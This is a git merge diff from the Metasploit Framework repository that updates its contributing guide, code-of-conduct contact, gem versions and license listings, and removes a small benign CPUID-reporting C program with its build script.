Merge branch 'master' into land-11038-
commit
9736e8252c
|
@ -37,7 +37,7 @@ when an individual is representing the project or its community.
|
|||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
caitlin_condon@rapid7.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
|
|
114
CONTRIBUTING.md
114
CONTRIBUTING.md
|
@ -1,82 +1,54 @@
|
|||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
How ironic! Please take a look at Rapid7's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
|
||||
your report to security@rapid7.com using our [PGP key].
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
world -- a better place! Before you get started, review our
|
||||
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
|
||||
- [Submit bugs and feature requests] with detailed information about your issue or idea.
|
||||
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7.
|
||||
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
|
||||
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
|
||||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed. Sorry!
|
||||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
|
||||
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
|
||||
**will** be closed. Sorry!
|
||||
|
||||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
|
||||
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
|
||||
you update your own master branch.
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
Pull request [PR#9966] is a good example to follow.
|
||||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for
|
||||
automating local tasks, and anything "serious" can be done with post
|
||||
modules and local exploits.
|
||||
* **Do** include [Module Documentation] showing sample run-throughs.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
|
||||
anything "serious" can be done with post modules and local exploits.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
@ -84,44 +56,46 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** include a link to any corresponding [Issues] in the format of
|
||||
`See #1234` in your commit description.
|
||||
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
|
||||
|
||||
When reporting Metasploit issues:
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
If you need some more guidance, talk to the main body of open source contributors over on our
|
||||
[Metasploit Slack] or [#metasploit on Freenode IRC].
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
|
||||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
|
||||
[development environment]:http://r-7.co/MSF-DEV
|
||||
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers
|
||||
[Metasploit Slack]:https://www.metasploit.com/slack
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
|
|
62
Gemfile.lock
62
Gemfile.lock
|
@ -21,9 +21,9 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.53)
|
||||
metasploit-payloads (= 1.3.57)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.2)
|
||||
metasploit_payloads-mettle (= 0.5.0)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
|
@ -81,27 +81,27 @@ GEM
|
|||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
actionpack (4.2.11)
|
||||
actionview (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
actionview (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
activemodel (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
activerecord (4.2.11)
|
||||
activemodel (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.10)
|
||||
activesupport (4.2.11)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
|
@ -122,7 +122,7 @@ GEM
|
|||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
daemons (1.3.1)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
|
@ -145,7 +145,7 @@ GEM
|
|||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.3)
|
||||
faraday (0.15.4)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
|
@ -164,7 +164,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.1)
|
||||
metasploit-credential (3.0.2)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
|
@ -178,8 +178,8 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.53)
|
||||
metasploit_data_models (3.0.1)
|
||||
metasploit-payloads (1.3.57)
|
||||
metasploit_data_models (3.0.2)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
|
@ -189,9 +189,9 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.4.2)
|
||||
metasploit_payloads-mettle (0.5.0)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.3.0)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.4)
|
||||
|
@ -200,8 +200,8 @@ GEM
|
|||
net-ssh (5.0.2)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.8.5)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
nokogiri (1.9.1)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.13.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
|
@ -210,7 +210,7 @@ GEM
|
|||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.1.0)
|
||||
pdf-reader (2.2.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
|
@ -239,14 +239,14 @@ GEM
|
|||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
railties (4.2.11)
|
||||
actionpack (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rake (12.3.2)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.34)
|
||||
recog (2.1.37)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
@ -262,7 +262,7 @@ GEM
|
|||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.19)
|
||||
rex-exploitation (0.1.20)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
|
@ -349,7 +349,7 @@ GEM
|
|||
rack (>= 1, < 3)
|
||||
thor (0.20.3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.8)
|
||||
tilt (2.0.9)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
|
@ -384,4 +384,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.1
|
||||
1.16.6
|
||||
|
|
4
LICENSE
4
LICENSE
|
@ -71,10 +71,6 @@ Files: lib/anemone.rb lib/anemone/*
|
|||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
|
142
LICENSE_GEMS
142
LICENSE_GEMS
|
@ -1,135 +1,137 @@
|
|||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.3, MIT
|
||||
actionpack, 4.2.10, MIT
|
||||
actionview, 4.2.10, MIT
|
||||
activemodel, 4.2.10, MIT
|
||||
activerecord, 4.2.10, MIT
|
||||
activesupport, 4.2.10, MIT
|
||||
actionpack, 4.2.11, MIT
|
||||
actionview, 4.2.11, MIT
|
||||
activemodel, 4.2.11, MIT
|
||||
activerecord, 4.2.11, MIT
|
||||
activesupport, 4.2.11, MIT
|
||||
addressable, 2.5.2, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.6.1, MIT
|
||||
backports, 3.11.1, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
arel-helpers, 2.8.0, MIT
|
||||
backports, 3.11.4, MIT
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.0, MIT
|
||||
bindata, 2.4.3, ruby
|
||||
bindata, 2.4.4, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.16.1, MIT
|
||||
bundler, 1.12.5, MIT
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
crass, 1.0.3, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.4, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.60.2, "Apache 2.0"
|
||||
docile, 1.3.0, MIT
|
||||
dnsruby, 1.61.2, "Apache 2.0"
|
||||
docile, 1.3.1, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
factory_bot, 4.8.2, MIT
|
||||
factory_bot_rails, 4.8.2, MIT
|
||||
faker, 1.8.7, MIT
|
||||
faraday, 0.14.0, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.6, MIT
|
||||
google-protobuf, 3.5.1, "New BSD"
|
||||
googleapis-common-protos-types, 1.0.1, "Apache 2.0"
|
||||
googleauth, 0.6.2, "Apache 2.0"
|
||||
grpc, 1.8.3, "Apache 2.0"
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 4.11.1, MIT
|
||||
factory_bot_rails, 4.11.1, MIT
|
||||
faker, 1.9.1, MIT
|
||||
faraday, 0.15.4, MIT
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
jwt, 2.1.0, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.2.0, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
loofah, 2.2.3, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 1.0.0, "New BSD"
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 2.0.13, "New BSD"
|
||||
metasploit-credential, 3.0.2, "New BSD"
|
||||
metasploit-framework, 5.0.0, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.16, "New BSD"
|
||||
metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.0, MIT
|
||||
mini_portile2, 2.3.0, MIT
|
||||
metasploit-payloads, 1.3.56, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.0, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.11.3, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.2.4, "Apache 2.0"
|
||||
multi_json, 1.13.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 4.2.0, MIT
|
||||
net-ssh, 5.0.2, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.0, BSD
|
||||
nokogiri, 1.8.2, MIT
|
||||
octokit, 4.8.0, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.9.1, MIT
|
||||
octokit, 4.13.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.1.0, MIT
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.2.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.11.3, MIT
|
||||
public_suffix, 3.0.2, MIT
|
||||
rack, 1.6.9, MIT
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 3.0.3, MIT
|
||||
rack, 1.6.11, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.10, MIT
|
||||
rake, 12.3.0, MIT
|
||||
rails-html-sanitizer, 1.0.4, MIT
|
||||
railties, 4.2.11, MIT
|
||||
rake, 12.3.2, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.1.18, unknown
|
||||
recog, 2.1.37, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.17, "New BSD"
|
||||
rex-exploitation, 0.1.20, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.77, "New BSD"
|
||||
rex-powershell, 0.1.79, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.10, "New BSD"
|
||||
rex-socket, 0.1.15, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-text, 0.2.21, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.7.0, MIT
|
||||
rspec-core, 3.7.1, MIT
|
||||
rspec-expectations, 3.7.0, MIT
|
||||
rspec-mocks, 3.7.0, MIT
|
||||
rspec-rails, 3.7.2, MIT
|
||||
rspec, 3.8.0, MIT
|
||||
rspec-core, 3.8.0, MIT
|
||||
rspec-expectations, 3.8.2, MIT
|
||||
rspec-mocks, 3.8.0, MIT
|
||||
rspec-rails, 3.8.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.7.1, MIT
|
||||
ruby-macho, 1.1.0, MIT
|
||||
rspec-support, 3.8.0, MIT
|
||||
ruby-macho, 2.1.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 0.0.23, "New BSD"
|
||||
ruby_smb, 1.0.5, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
rubyzip, 1.2.2, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
signet, 0.8.1, "Apache 2.0"
|
||||
simplecov, 0.16.0, MIT
|
||||
simplecov, 0.16.1, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.20.0, MIT
|
||||
swagger-blocks, 2.0.2, MIT
|
||||
sysrandom, 1.0.5, ISC
|
||||
thin, 1.7.2, "GPLv2+, Ruby 1.8"
|
||||
thor, 0.20.3, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.9, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2018.3, MIT
|
||||
tzinfo-data, 1.2018.7, MIT
|
||||
warden, 1.2.7, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.12, MIT
|
||||
yard, 0.9.16, MIT
|
||||
|
|
|
@ -1,11 +0,0 @@
|
|||
#!/bin/sh
|
||||
|
||||
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
|
||||
strip cpuinfo.ia32.bin && \
|
||||
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
|
||||
strip cpuinfo.ia64.bin && \
|
||||
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
|
||||
strip cpuinfo.exe
|
||||
|
||||
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe
|
||||
|
|
@ -1,64 +0,0 @@
|
|||
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
|
||||
|
||||
/*
|
||||
#!/usr/bin/env ruby
|
||||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
#
|
||||
# this sample shows the compilation of a slightly more complex program
|
||||
# it displays in a messagebox the result of CPUID
|
||||
#
|
||||
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static char *featureinfo[32] = {
|
||||
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
|
||||
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
|
||||
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
|
||||
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
|
||||
}, *extendinfo[32] = {
|
||||
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
|
||||
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
|
||||
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
|
||||
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
|
||||
};
|
||||
|
||||
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
|
||||
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned long eax, ebx, ecx, edx;
|
||||
unsigned long i;
|
||||
|
||||
cpuid(0);
|
||||
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
|
||||
|
||||
cpuid(1);
|
||||
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
|
||||
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
|
||||
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
|
||||
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
|
||||
|
||||
fprintf(stdout, "FLAGS:");
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (edx & (1 << i))
|
||||
fprintf(stdout, " %s", featureinfo[i]);
|
||||
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (ecx & (1 << i))
|
||||
fprintf(stdout, " %s", extendinfo[i]);
|
||||
|
||||
fprintf(stdout, "\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
